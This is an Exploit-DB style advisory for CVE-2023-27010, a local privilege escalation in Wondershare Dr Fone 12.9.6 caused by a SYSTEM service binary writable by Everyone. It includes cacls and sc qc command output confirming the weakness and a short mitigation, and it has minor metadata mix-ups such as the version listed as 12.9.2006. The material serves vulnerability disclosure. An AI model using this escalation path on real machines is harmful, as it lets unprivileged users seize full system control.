Wondershare Dr Fone 12.9.6 - Privilege Escalation

vendor:

Dr Fone

by:

Thurein Soe

7.8

CVSS

HIGH

Privilege Escalation

269

CWE

Product Name: Dr Fone

Affected Version From: 12.9.2006

Affected Version To: 12.9.2006

Patch Exists: YES

Related CWE: CVE-2023-27010

CPE: a:wondershare:dr_fone

Metasploit:

Platforms Tested: Windows 10

2023

Wondershare Dr Fone 12.9.6 – Privilege Escalation

Wondershare Dr Fone version 12.9.6 running services named 'WsDrvInst' on Windows have weak service permissions and are susceptible to local privilege escalation vulnerability. Weak service permissions run with system user permission, allowing a standard user/domain user to elevate to administrator privilege upon successfully modifying the service or replacing the affected executable. DriverInstall.exe gave modification permission to any authenticated users in the windows operating system, allowing standard users to modify the service and leading to Privilege Escalation.

Mitigation:

Ensure that service permissions are configured correctly and that only authorized users are allowed to modify services.

Source

Exploit-DB raw data:

# Exploit Title: Wondershare Dr Fone 12.9.6 - Privilege Escalation
# Date: 14 March 2023
# Exploit Author: Thurein Soe
# Vendor Homepage: https://drfone.wondershare.com
# Software Link: https://mega.nz/file/ZFd1TZIR#e2WfCX_ryaH08C3VNGZH1yAIG6DU01p-M_rDooq529I
# Version: Dr Fone version 12.9.6
# Tested on: Window 10 (10.0.19045.2604)
# CVE : CVE-2023-27010



*Vulnerability description*:

Wondershare Dr Fone version 12.9.6 running services named "WsDrvInst" on
Windows have weak service permissions and are susceptible to local
privilege escalation vulnerability. Weak service permissions run with
system user permission, allowing a standard user/domain user to elevate to
administrator privilege upon successfully modifying the service or
replacing the affected executable. DriverInstall.exe gave modification
permission to any authenticated users in the windows operating system,
allowing standard users to modify the service and leading to Privilege
Escalation.


C:\Users\NyaMeeEain\Desktop>cacls "C:\Program Files
(x86)\Wondershare\drfone\Addins\Repair\DriverInstall.exe"
C:\Program Files (x86)\Wondershare\drfone\Addins\Repair\DriverInstall.exe

Everyone:(ID)F

NT AUTHORITY\SYSTEM:(ID)F

BUILTIN\Administrators:(ID)F

BUILTIN\Users:(ID)R

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R

APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R
C:\Users\NyaMeeEain\Desktop>sc qc WsDrvInst
SERVICE_NAME: WsDrvInst
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files
(x86)\Wondershare\drfone\Addins\Repair\DriverInstall.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Driver Install Service
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem